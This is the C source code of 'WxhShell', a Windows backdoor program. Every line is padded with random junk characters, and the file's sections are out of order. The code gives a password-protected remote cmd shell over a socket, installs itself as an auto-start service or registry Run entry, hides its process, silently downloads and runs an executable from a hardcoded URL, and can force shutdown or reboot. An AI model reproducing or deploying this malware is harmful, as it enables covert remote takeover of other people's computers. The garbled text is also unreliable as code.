  case 'd': { l)8V:MK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -?RQ%Ue  
    if(Boot(SHUTDOWN)) s]iOC6v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @_Zx'mTI  
    else { 6`C27  
    closesocket(wsh); 7|-xM>L$A  
    ExitThread(0); DX"; v J  
    } zEW:Xe)  
    break; fq|2E&&v  
    } _&/Zab5  
  // 获取shell Z@ kC28  
  case 's': { mTfMuPPs[  
    CmdShell(wsh); {Y[D!W2y  
    closesocket(wsh); DVJc-.x8  
    ExitThread(0); VO Qt{v{1|  
    break; d eoM~r9s  
  } pqSE|3*l  
  // 退出 1,T9HpM  
  case 'x': { u B\& Q;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l8-jFeeMd  
    CloseIt(wsh); k)py\  
    break; |^Es6 .~  
    } 2M?lgh4"  
  // 离开 {nefS\#{  
  case 'q': { .6 NSt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =T)2wcXBB  
    closesocket(wsh); lt4jnV2"a  
    WSACleanup(); fn OkH  
    exit(1); d_uy;-3  
    break; <k](s  
        } 0EOX@;}  
  } s%oAsQ_y  
  } #P#R~b]  
[bG>qe1}&  
  // 提示信息 $O'2oeM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yV/ J(  
} SN(=e#ljE  
  } noA\5&hqW  
)6&\WNL-x  
  return; pT@!O}'$  
} rcx;3Vne  
S I7B6c  
// shell模块句柄 `M ygDG+u  
int CmdShell(SOCKET sock) ib \[ ~rg  
{ Wk?|BR]O  
STARTUPINFO si; eC?/l*gF 3  
ZeroMemory(&si,sizeof(si)); rR@n> Xx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0:'jU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >iH).:j  
PROCESS_INFORMATION ProcessInfo; zm+4Rl(  
char cmdline[]="cmd"; ]B3FTqR{i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vvAk<[  
  return 0; NP`s[  
} iBQBHF   
W \}}gIEM+  
// 自身启动模式 7;'.5,-3c  
int StartFromService(void) XDk o{jEJ  
{ S}^s 5ztm  
typedef struct 0 jP00   
{ xY0QGQca  
  DWORD ExitStatus; N!BOq`#da  
  DWORD PebBaseAddress; x7Rq|NQ  
  DWORD AffinityMask; t;dQ~e20  
  DWORD BasePriority; s}#[*WOc  
  ULONG UniqueProcessId; IS2Ij  
  ULONG InheritedFromUniqueProcessId; s~Wu0%])Q  
}   PROCESS_BASIC_INFORMATION; o:8S$F`O@  
xd fvme[  
PROCNTQSIP NtQueryInformationProcess; X/-KkC  
ZBR^[OXO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3>9dJx4I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tH,K\v`f  
~,!hE&LE~  
  HANDLE             hProcess; yp{F 8V 8  
  PROCESS_BASIC_INFORMATION pbi; UD<^r]'x  
v?D kDnta  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W(a'^ #xe  
  if(NULL == hInst ) return 0; 62)lf2$1  
1mn$Rh&dO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C}= _8N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h2|vB+W-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9U9c"'g  
V,XP&,no\j  
  if (!NtQueryInformationProcess) return 0; Z#Zzi5<  
7lDaok  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )SL@ >Cij  
  if(!hProcess) return 0; _RaVnMJKX4  
tw4am.o1]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }'V'Y[  
,rFLpQl  
  CloseHandle(hProcess); #~URLN  
ro&Y7m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M-Z6TL  
if(hProcess==NULL) return 0; $sc8)d\B  
y:|.m@ j1  
HMODULE hMod; ?Y0$X>nm  
char procName[255]; av; (b3Lq  
unsigned long cbNeeded; M,\|V3s  
)/WA)fWkT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _UBJPb@=U  
^dUfTG9{  
  CloseHandle(hProcess); p=-B~:  
F*4Qa  
if(strstr(procName,"services")) return 1; // 以服务启动 F0BOhlK  
p#;dLM/EA  
  return 0; // 注册表启动 iTugvb  
} <S8I"8{Mb  
vQBY1-S  
// 主模块 dVVvG]  
int StartWxhshell(LPSTR lpCmdLine) Ife,h s  
{ XuFm4DEJ  
  SOCKET wsl; ?mYV\kDt\  
BOOL val=TRUE; j |'# 5H`  
  int port=0; @%G'U&R{  
  struct sockaddr_in door; D2TXOPH  
SJ@8[n.x  
  if(wscfg.ws_autoins) Install(); 7:VEM;[d  
Xw*%3'  
port=atoi(lpCmdLine); ;ad9{":J#B  
4('0f:9z+  
if(port<=0) port=wscfg.ws_port; GwMUIevO_  
neB.Wu~WH  
  WSADATA data; +2V%'{:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \}u7T[R=`  
Owh*KY:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q_dXRBv=n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9!O+Ryy?\  
  door.sin_family = AF_INET; KF:]4`$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lk*0c {_L  
  door.sin_port = htons(port); {m+S{dWp  
kKxL04  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %|`:5s-T%  
closesocket(wsl); $dx1[ V+_  
return 1; 6z p@#vYI  
} k5fH ;  
f0cYvL ]  
  if(listen(wsl,2) == INVALID_SOCKET) { }P&1s,S8J#  
closesocket(wsl); *C3uMiz  
return 1; oz\{9Lwc  
} uFrJ:l+  
  Wxhshell(wsl); A{i][1N  
  WSACleanup(); U9@t?j_#X{  
Lem\UD$D`  
return 0; (:&&;]sI  
(b`4&sQ<  
} |i} +t  
 \]f5  
// 以NT服务方式启动 mJGO)u&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V(lK`dY  
{ -~( 0O  
DWORD   status = 0; gfdPx:7^  
  DWORD   specificError = 0xfffffff; t3  uB  
e-%7F]e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k lP{yxU'n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xI`Uk8-8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rnMG0  
  serviceStatus.dwWin32ExitCode     = 0; <<7,k f R  
  serviceStatus.dwServiceSpecificExitCode = 0; r6 oX6.c  
  serviceStatus.dwCheckPoint       = 0; uGuc._}=  
  serviceStatus.dwWaitHint       = 0; Yn IM-  
{*M>X}voS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `eMrP`  
  if (hServiceStatusHandle==0) return; 1BMV=_  
0^<Skm27"  
status = GetLastError(); ~!3t8Hx6  
  if (status!=NO_ERROR) [0%yJH  
{ NSMjr_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R (tiIo  
    serviceStatus.dwCheckPoint       = 0; :c~9>GCE&  
    serviceStatus.dwWaitHint       = 0; PSP1>-7)w  
    serviceStatus.dwWin32ExitCode     = status; fB;&n  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5(iSOsb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IKMs Y5i  
    return; 36kc4=  
  } QoW ( tM  
dT0^-XSY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vWqyZ-p,q  
  serviceStatus.dwCheckPoint       = 0; vI pO/m.3  
  serviceStatus.dwWaitHint       = 0; 3t"~F%4-}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \yJZvhUk  
} @7Q*h   
RMS.1:O  
// 处理NT服务事件,比如:启动、停止 3JlC/v#0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4f{[*6 GX  
{ k8InbX[  
switch(fdwControl) 2|0Je^$|  
{ ;H7EB`  
case SERVICE_CONTROL_STOP: %K&+~CJE  
  serviceStatus.dwWin32ExitCode = 0; %mK3N2N$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8~&F/C*  
  serviceStatus.dwCheckPoint   = 0; 6pM"h5hA  
  serviceStatus.dwWaitHint     = 0; lF; ziF  
  { Z #.GI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i#L6UKe:Q  
  } 1?D8|<  
  return; " jl1.Ah  
case SERVICE_CONTROL_PAUSE: {&\J)oZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @K,2mhE~h  
  break; pTa'.m  
case SERVICE_CONTROL_CONTINUE: nu4Pc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; otWo^CE$  
  break; a^RZsR  
case SERVICE_CONTROL_INTERROGATE: U=haX x4N  
  break; cwH,l$  
}; 3n.+_jQ>s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); th.M.jas  
} k1^V?O  
R7E]*:0}  
// 标准应用程序主函数 XsAY4WTS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L"""\5Bn(  
{ $Qn& jI38  
>QYh}Z- /%  
// 获取操作系统版本 r\A@&5#q  
OsIsNt=GetOsVer(); kbfuvJ>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q Axf5  
L]c 8d   
  // 从命令行安装 q6;OS.f  
  if(strpbrk(lpCmdLine,"iI")) Install(); lSZ"y Q+  
+ $k07mb\  
  // 下载执行文件  O]e6i%?  
if(wscfg.ws_downexe) { 2^ zg0!z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7^kH8qJ)  
  WinExec(wscfg.ws_filenam,SW_HIDE); RtW4 n:c  
} > [Xm|A#  
M?E9N{t8)a  
if(!OsIsNt) { _Ct}%-,4  
// 如果时win9x,隐藏进程并且设置为注册表启动 H "Q(2I  
HideProc(); 2"T8^r|U  
StartWxhshell(lpCmdLine); 7ZF}0K$^B  
} N+*(Y5TU  
else G[|3^O>P  
  if(StartFromService()) !d:tIu{)  
  // 以服务方式启动 U3mXm?f  
  StartServiceCtrlDispatcher(DispatchTable); TZ^{pvBy  
else (P2[5d|  
  // 普通方式启动 NJ >I%u*  
  StartWxhshell(lpCmdLine); D"`%|`O  
{@Blj3;w}  
return 0; X }m7@r@  
} 1t0b Uf;(M  
i{<8 hLO  
! a86iHU  
=L:[cIRrT;  
=========================================== Ly^E& ,)  
X32RZ9y  
5\uNEs$T  
*}+R{  
L=d$"Q  
qv.[k<~a>  
" IJ hxE  
MNkKy(Za  
#include <stdio.h> ' " Bex`  
#include <string.h> $`^H:Djr  
#include <windows.h> DY$yiOH9  
#include <winsock2.h> PqTYAN&F  
#include <winsvc.h> 'g. :MQ8  
#include <urlmon.h> '*8  
Xyb8u})p'  
#pragma comment (lib, "Ws2_32.lib") K3La9O)>  
#pragma comment (lib, "urlmon.lib") q A.+U:I8  
|c<XSX?ir  
#define MAX_USER   100 // 最大客户端连接数 CKJAZ2  
#define BUF_SOCK   200 // sock buffer 4#TnXxL  
#define KEY_BUFF   255 // 输入 buffer #o"tMh!f  
OlIT|bzkb  
#define REBOOT     0   // 重启 .=?Sz*3  
#define SHUTDOWN   1   // 关机 @8|~+y8,  
D[V`^CTu  
#define DEF_PORT   5000 // 监听端口 OMl8 a B9  
0 9tikj1  
#define REG_LEN     16   // 注册表键长度 !$xzA X,  
#define SVC_LEN     80   // NT服务名长度 Q%rVo4M#2  
#1MKEfv(~  
// 从dll定义API 55LgBD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @=CLeQG`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TLy ;4R2Nn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &q.)2o#Q.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O ,l\e 3;  
&u&2D$K,tp  
// wxhshell配置信息  }K?F7cD  
struct WSCFG { `hzd|GmX  
  int ws_port;         // 监听端口 2K Pqu:lv  
  char ws_passstr[REG_LEN]; // 口令 'zE: fLo  
  int ws_autoins;       // 安装标记, 1=yes 0=no F/)f,sZF  
  char ws_regname[REG_LEN]; // 注册表键名 ki#y&{v9Be  
  char ws_svcname[REG_LEN]; // 服务名 K/DH / r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XnD0eua#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5Qb;2!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pv#KmSA9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6s'[{Ov  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VZ;@S3TS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O)l%OOv   
%j%%Rn  
}; &/HoSj>HS  
'wa g |-  
// default Wxhshell configuration *<w3" iq  
struct WSCFG wscfg={DEF_PORT, o.v2z~V  
    "xuhuanlingzhe", /({P1ti:C  
    1, dZF8 R  
    "Wxhshell", \Ph]*%  
    "Wxhshell", II&<  
            "WxhShell Service", 5qGGu.$Ihi  
    "Wrsky Windows CmdShell Service", ehU"*9  
    "Please Input Your Password: ", ; /=L  
  1, Q< dba12  
  "http://www.wrsky.com/wxhshell.exe", *JwFD^<j  
  "Wxhshell.exe" *}7U`Aa  
    }; nz>K{(  
O(odNQy~  
// 消息定义模块 qv.n99?]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [ ynuj3G V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; av)?>J~;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sq<3Rw  
char *msg_ws_ext="\n\rExit."; {Wh BoD  
char *msg_ws_end="\n\rQuit."; (Bsw/wv  
char *msg_ws_boot="\n\rReboot..."; STw oYn  
char *msg_ws_poff="\n\rShutdown..."; bea|?lK  
char *msg_ws_down="\n\rSave to "; t~q?lT  
g2A"1w<-AH  
char *msg_ws_err="\n\rErr!"; >cTjA):  
char *msg_ws_ok="\n\rOK!"; R^uc%onP  
rj}(muM,R  
char ExeFile[MAX_PATH]; D6Dn&/>Zp  
int nUser = 0; Rw/Ciw2@?  
HANDLE handles[MAX_USER]; nVNs][  
int OsIsNt; _$!`VA%  
pVY4q0@  
SERVICE_STATUS       serviceStatus; D]jkR} t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gbJG`zC>U  
]/a g*F  
// 函数声明 ,?I(/jI  
int Install(void); uO"y`$C$_  
int Uninstall(void); %Or2iuO%-,  
int DownloadFile(char *sURL, SOCKET wsh); _nP)uU$  
int Boot(int flag); w\p9J0  
void HideProc(void); Y^yG/F  
int GetOsVer(void); |ebvx?\  
int Wxhshell(SOCKET wsl); yYg   
void TalkWithClient(void *cs); 5 1"8Py  
int CmdShell(SOCKET sock); 0Lx3]"v  
int StartFromService(void); ?H<~ac2e  
int StartWxhshell(LPSTR lpCmdLine); \d:h$  
PFm\[2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )}q uw"H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,2,W^HJ  
j|k @MfA  
// 数据结构和表定义 f'i6QMk\&  
SERVICE_TABLE_ENTRY DispatchTable[] = v O PMgEI  
{ QsM*wT&aa  
{wscfg.ws_svcname, NTServiceMain}, A=0@UqM  
{NULL, NULL} Qd?CTYNsv  
}; *N`;I@Q"[  
a/:]"`)  
// 自我安装 L*9H#%3  
int Install(void) bK?MT]%}r  
{ tR5tPPw  
  char svExeFile[MAX_PATH]; K\~v&  
  HKEY key; ^:+Rg}]W^  
  strcpy(svExeFile,ExeFile); zPHy2H$28  
 J+lGh9G  
// 如果是win9x系统,修改注册表设为自启动 sSz%V[X WL  
if(!OsIsNt) { 86y%=!bS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0lBat_<8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ldYeX+J _  
  RegCloseKey(key); {!MVc<G.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { an.`dBm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  tq0;^L  
  RegCloseKey(key); I=o'+>az  
  return 0; jx'2N~$  
    } V'C-'Ythwf  
  } vcwK6G  
} HZ{n&iJ  
else { ,2ME2@OP  
H@Q`  
// 如果是NT以上系统,安装为系统服务 puA |NT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cFDxjX?~  
if (schSCManager!=0) 8!;$qVt  
{ ZJ9x6|q  
  SC_HANDLE schService = CreateService Ox~ 9_d  
  ( l0. FiO@_Q  
  schSCManager, # 3.\j"b  
  wscfg.ws_svcname, IqNpLh|[  
  wscfg.ws_svcdisp, rpSr^slr  
  SERVICE_ALL_ACCESS, l^ Rm0t_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m9woredS,  
  SERVICE_AUTO_START, >gnF]<  
  SERVICE_ERROR_NORMAL, qfa}3k8et  
  svExeFile, ~o i)Lf1  
  NULL, l0:5q?g  
  NULL, j3{HkcjJG  
  NULL, mTJ"l(,3  
  NULL, jFG5)t<D  
  NULL EavX8r  
  ); _F^$aZt?e  
  if (schService!=0) @UV{:]f~e  
  { BKX 9 SL]  
  CloseServiceHandle(schService); xG8`'SNY  
  CloseServiceHandle(schSCManager); 0U%Xm[:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *%I[ ke *  
  strcat(svExeFile,wscfg.ws_svcname); 4~Dax)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UUH;L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fx]eDA|$e  
  RegCloseKey(key); F3Ap1-%z  
  return 0; OT;cfkf7  
    } -zTEL (r  
  } BJgDo  
  CloseServiceHandle(schSCManager); Xo8DEr  
} NHAH#7]M&1  
} @C=M UT-!  
3}j1RYtz  
return 1;  VGB-h'  
} VKNp,Lf  
`R0Y+#$8h  
// 自我卸载 a*s\Em7f  
int Uninstall(void) 4\HsU9x  
{ Z(`r-}f I  
  HKEY key; rn H}#u+  
rH.gF43O:  
if(!OsIsNt) { 6rT4iC3Q{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Z.cMYN  
  RegDeleteValue(key,wscfg.ws_regname); {-h, ZdH^  
  RegCloseKey(key); fnWsm4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S/fW/W*/}  
  RegDeleteValue(key,wscfg.ws_regname); ;y OD  
  RegCloseKey(key); M J\r 4n  
  return 0; +sRP<as  
  } `s%QeAde  
} .it2NS  
} 'in@9XO  
else { kW +G1|  
;_N"Fdl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :3 y_mf>  
if (schSCManager!=0) %Hwbw],kl8  
{ "wINBya'M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5 VKcV&D  
  if (schService!=0) A0>x9XSkJ  
  { h0lu!m#\_  
  if(DeleteService(schService)!=0) { `|?]CkP  
  CloseServiceHandle(schService); SM<d  
  CloseServiceHandle(schSCManager); (6clq:c7j  
  return 0; X4'kZ'Sy<  
  } OXCQfT@\  
  CloseServiceHandle(schService); r0{]5JZt/  
  } yl/a:Q  
  CloseServiceHandle(schSCManager); Ihqs%;V  
} c D7FfJ  
} fv2=B )8$  
4.'JLArw  
return 1; M(2`2-/xh  
} mW +tV1XjG  
.8(%4ejJ(  
// 从指定url下载文件 r.<JDdj  
int DownloadFile(char *sURL, SOCKET wsh) Uouq>N  
{ wS%zWdsz  
  HRESULT hr; 02pplDFsM  
char seps[]= "/"; hfv%,,e  
char *token; /WYh[XKe  
char *file; t%$@fjz  
char myURL[MAX_PATH]; 1a8$f5  
char myFILE[MAX_PATH]; 5r7h=[N  
f'_M0x  
strcpy(myURL,sURL); L=g_@b   
  token=strtok(myURL,seps); ^/a*.cu  
  while(token!=NULL) Hm4bN\%  
  { 2yxi= XWZ  
    file=token; VDpxk$a  
  token=strtok(NULL,seps); v ): V  
  } RHI&j~  
3\+N`!  
GetCurrentDirectory(MAX_PATH,myFILE); l;0y-m1  
strcat(myFILE, "\\"); A?,A( -0C  
strcat(myFILE, file); $:;%bjSI  
  send(wsh,myFILE,strlen(myFILE),0); l[*sHi  
send(wsh,"...",3,0); rN#\AN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'Sa!5h  
  if(hr==S_OK) mgcN(n1  
return 0; 2*Q3.2 Z  
else 7"K^H]6u30  
return 1; z 6cYC,  
I N_gF_@%  
} C{&)(#*L  
uA%Ts*aN  
// 系统电源模块 0H+c4IW  
int Boot(int flag) #8UseK  
{ "i%jQL'.  
  HANDLE hToken; LS6ry,D"7  
  TOKEN_PRIVILEGES tkp; 8t[t{"  
(}jL_E  
  if(OsIsNt) { <+q$XL0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); enumK\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |^ iA6)Q  
    tkp.PrivilegeCount = 1; y\z > /q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A{(T'/~"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 41}/w3Z4  
if(flag==REBOOT) { DxfMqH[vs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ls @5^g  
  return 0; ANb"oX c  
} N9`97;.X  
else { Bc[6*Y,%T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M2p<u-6 "  
  return 0; Rcf=J){D6  
} 5#!ogKQ(i  
  } [%~^kq=|  
  else { [gZDQcU  
if(flag==REBOOT) { 2fbU-9Rfn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WHk/$7_"i  
  return 0; G"> 0]LQ  
} 2-s7cXs  
else { F[]&1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sg$4G:l  
  return 0; [#Fg\2bq_y  
} @yKZRwg  
} 5~U:@Tp  
xlw 2g<s  
return 1; p8>R#9  
} (: OHyeNt  
ohsH2]C  
// win9x进程隐藏模块 qiU5{}  
void HideProc(void) :kN5?t=  
{ VA2<r(y~(  
,CKvTxz0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1i+FL''  
  if ( hKernel != NULL ) f3t. T=S  
  { Fr;lG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ugxw!cj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m}pL`:e!  
    FreeLibrary(hKernel); f~*K {7  
  } l5HWZs^  
HlRAD|]\  
return; oLP]N$'#  
} >h%\HMKk  
n ,1tD  
// 获取操作系统版本 6(.H3bu  
int GetOsVer(void) 1J'pB;.]s  
{ =qX*]  
  OSVERSIONINFO winfo; &57U? oY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !qw4mN  
  GetVersionEx(&winfo); ,R}Z=w#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $}4K`Iu  
  return 1; [TEcg^  
  else Z(UD9wY5m  
  return 0; 4|F#gK5E  
} 8 }z3CuM  
^jOCenE 3  
// 客户端句柄模块 G4m4k  
int Wxhshell(SOCKET wsl) &-4 ?!  
{ gQR1$n0  
  SOCKET wsh; 9FNwpL'C  
  struct sockaddr_in client; @>:i-5  
  DWORD myID; |Ng"C`$oqv  
5m`[MBt2g  
  while(nUser<MAX_USER) ^W}MM8 '  
{ eJ:Yj ~X`<  
  int nSize=sizeof(client); <A{y($  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pn s+y  
  if(wsh==INVALID_SOCKET) return 1; 1MV@5j  
!;+U_j'Pg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (H1lqlVWV#  
if(handles[nUser]==0) sX5sL  
  closesocket(wsh); 2Y;!$0_rv  
else Aqu]9M~  
  nUser++; R+F,H`  
  } H!. ZH(asY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3KT_AJ4}  
>fbo r'|  
  return 0; yZ~b+=UM  
} x ^[F]YU  
4oN${7k0  
// 关闭 socket ~v\hIm3=m  
void CloseIt(SOCKET wsh) s ^3[W0hL  
{ oXbI5XY)wb  
closesocket(wsh); (Com,  
nUser--; 1 KB7yG-#6  
ExitThread(0); #B}Qt5w  
} OM{Dq|  
0T0/fg(o  
// 客户端请求句柄 Wvb Eh|y  
void TalkWithClient(void *cs) )7w@E$l"  
{ FT4l$g7"  
~$*`cO  
  SOCKET wsh=(SOCKET)cs; )2]a8JVf  
  char pwd[SVC_LEN]; RF!'K ko  
  char cmd[KEY_BUFF]; ZYDW v/u  
char chr[1]; ]<+3Vw  
int i,j; e2bLkb3c  
%Zu Ll(  
  while (nUser < MAX_USER) { yp?w3|`4;  
hv{87`L'K(  
if(wscfg.ws_passstr) { pX^=be_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U3N(cFXn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Th/{x h  
  //ZeroMemory(pwd,KEY_BUFF); /ISLVp%H  
      i=0; Q ]0r:i= .  
  while(i<SVC_LEN) { W]@6=OpH  
)^";BVY  
  // 设置超时 (M8h y4Ex  
  fd_set FdRead; B5 &YL  
  struct timeval TimeOut; hbH#Co~o4#  
  FD_ZERO(&FdRead); gg(k7e  
  FD_SET(wsh,&FdRead); (FG^UA#'  
  TimeOut.tv_sec=8; :Dj#VN  
  TimeOut.tv_usec=0; 5pmQp}}R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o~k;D{Snr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vS#{-X  
@ge LW!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]/[0O+B?  
  pwd=chr[0]; {!y<<u1  
  if(chr[0]==0xd || chr[0]==0xa) { Tm\OYYyk  
  pwd=0; PK}vh%  
  break; ?^F5(B[+Y  
  } AygvJeM_W  
  i++; $N dH*  
    } 3u4:l  
VAg68 EbnF  
  // 如果是非法用户,关闭 socket dxntGH< O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EZ `}*Yrd  
} mV%h[~-  
]Ly8s#<g]N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D Kq-C%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? o sfL  
QheDF7'z  
while(1) { A'`P2Am  
&8afl"_~  
  ZeroMemory(cmd,KEY_BUFF); 716hpj#*  
OiF]_"  
      // 自动支持客户端 telnet标准   RJLFj  
  j=0;  +xq=<jy  
  while(j<KEY_BUFF) { 9GE]<v,_[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d9|T=R  
  cmd[j]=chr[0]; ve~C`2=;  
  if(chr[0]==0xa || chr[0]==0xd) { P|8e%P  
  cmd[j]=0; /0l-mfRr  
  break; ^H-QYuz:T0  
  } Qj:{p5H'  
  j++; 2$3kKY6$e  
    } ]Cr]Pvab{  
%pqL-G  
  // 下载文件 }I)z7l.  
  if(strstr(cmd,"http://")) { p KnIQa[c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l:x _j\  
  if(DownloadFile(cmd,wsh)) | 4 `.#4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g/!Otgfu  
  else ff[C'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c<>y!^g  
